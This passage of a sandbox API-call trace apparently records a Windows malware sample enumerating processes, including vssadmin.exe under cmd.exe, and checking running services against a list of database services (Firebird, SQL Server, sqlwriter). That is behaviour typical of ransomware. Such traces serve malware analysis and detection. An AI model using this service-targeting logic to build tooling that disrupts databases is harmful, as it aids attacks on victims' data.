dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0181.146] lstrlenW (lpString="nickel.exe") returned 10 [0181.146] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0181.146] lstrlenW (lpString="imperialopened.exe") returned 18 [0181.146] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0181.147] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0181.147] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0181.148] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0181.148] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0181.149] lstrlenW (lpString="perhapssentences.exe") returned 20 [0181.149] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.150] lstrlenW (lpString="svchost.exe") returned 11 [0181.150] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0181.151] lstrlenW (lpString="chrome64b.exe") returned 13 [0181.151] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0181.717] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0181.718] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0181.718] lstrlenW (lpString="conhost.exe") returned 11 [0181.718] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0181.719] lstrlenW (lpString="cmd.exe") returned 7 [0181.719] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0181.720] lstrlenW (lpString="conhost.exe") returned 11 [0181.720] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0181.721] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0181.721] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0181.722] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0181.722] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0181.723] lstrlenW (lpString="vssadmin.exe") returned 12 [0181.723] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0181.723] lstrlenW (lpString="dllhost.exe") returned 11 [0181.723] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0181.724] lstrlenW (lpString="LogonUI.exe") returned 11 [0181.724] Process32NextW (in: hSnapshot=0x300, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0181.725] CloseHandle (hObject=0x300) returned 1 [0181.725] Sleep (dwMilliseconds=0x1f4) [0182.231] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce960 [0182.231] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0182.231] GetLastError () returned 0xea [0182.232] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f5e) returned 0x7e8780 [0182.232] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e8780, cbBufSize=0x1f5e, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e8780, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0182.232] CloseServiceHandle (hSCObject=0x7ce960) returned 1 [0182.233] lstrlenW (lpString="Appinfo") returned 7 [0182.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.233] lstrlenW (lpString="AppXSvc") returned 7 [0182.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0182.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0182.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0182.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0182.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0182.233] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.233] lstrlenW (lpString="Audiosrv") returned 8 [0182.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0182.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0182.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0182.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0182.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0182.233] lstrlenW (lpString="BFE") returned 3 [0182.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.234] lstrlenW (lpString="BITS") returned 4 [0182.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0182.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0182.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0182.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0182.234] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0182.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0182.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0182.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0182.234] lstrlenW (lpString="CDPSvc") returned 6 [0182.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0182.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0182.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0182.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0182.234] lstrlenW (lpString="ClickToRunSvc") returned 13 [0182.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0182.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0182.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0182.234] lstrlenW (lpString="ClipSVC") returned 7 [0182.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0182.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0182.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0182.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0182.235] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0182.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.235] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0182.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0182.235] lstrlenW (lpString="CryptSvc") returned 8 [0182.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.235] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.235] lstrlenW (lpString="DcomLaunch") returned 10 [0182.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.235] lstrlenW (lpString="DeviceAssociationService") returned 24 [0182.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0182.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0182.235] lstrlenW (lpString="Dhcp") returned 4 [0182.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.236] lstrlenW (lpString="Dnscache") returned 8 [0182.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.236] lstrlenW (lpString="DoSvc") returned 5 [0182.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0182.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0182.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0182.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0182.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0182.236] lstrlenW (lpString="DPS") returned 3 [0182.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.236] lstrlenW (lpString="DusmSvc") returned 7 [0182.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0182.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0182.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0182.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0182.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0182.236] lstrlenW (lpString="EventLog") returned 8 [0182.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0182.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0182.236] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0182.236] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0182.237] lstrlenW (lpString="EventSystem") returned 11 [0182.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.237] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.237] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.237] lstrlenW (lpString="FontCache") returned 9 [0182.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0182.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0182.237] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0182.237] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0182.237] lstrlenW (lpString="gpsvc") returned 5 [0182.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.237] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.237] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.237] lstrlenW (lpString="iphlpsvc") returned 8 [0182.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.237] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.237] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.237] lstrlenW (lpString="KeyIso") returned 6 [0182.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0182.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0182.237] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0182.237] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0182.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0182.238] lstrlenW (lpString="LanmanServer") returned 12 [0182.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.238] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.238] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.238] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.238] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.238] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.238] lstrlenW (lpString="lfsvc") returned 5 [0182.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0182.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0182.238] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0182.238] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0182.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0182.238] lstrlenW (lpString="LicenseManager") returned 14 [0182.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0182.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0182.238] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0182.238] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0182.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0182.238] lstrlenW (lpString="lmhosts") returned 7 [0182.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.238] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.238] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.238] lstrlenW (lpString="LSM") returned 3 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0182.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0182.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0182.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0182.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0182.239] lstrlenW (lpString="MpsSvc") returned 6 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.239] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.239] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.239] lstrlenW (lpString="NcbService") returned 10 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0182.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0182.239] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0182.239] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0182.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0182.239] lstrlenW (lpString="netprofm") returned 8 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.239] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.239] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.239] lstrlenW (lpString="NlaSvc") returned 6 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.239] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.239] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.239] lstrlenW (lpString="nsi") returned 3 [0182.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.240] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.240] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.240] lstrlenW (lpString="PcaSvc") returned 6 [0182.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.240] lstrlenW (lpString="PlugPlay") returned 8 [0182.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.240] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.240] lstrlenW (lpString="Power") returned 5 [0182.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.240] lstrlenW (lpString="ProfSvc") returned 7 [0182.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.240] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.241] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.241] 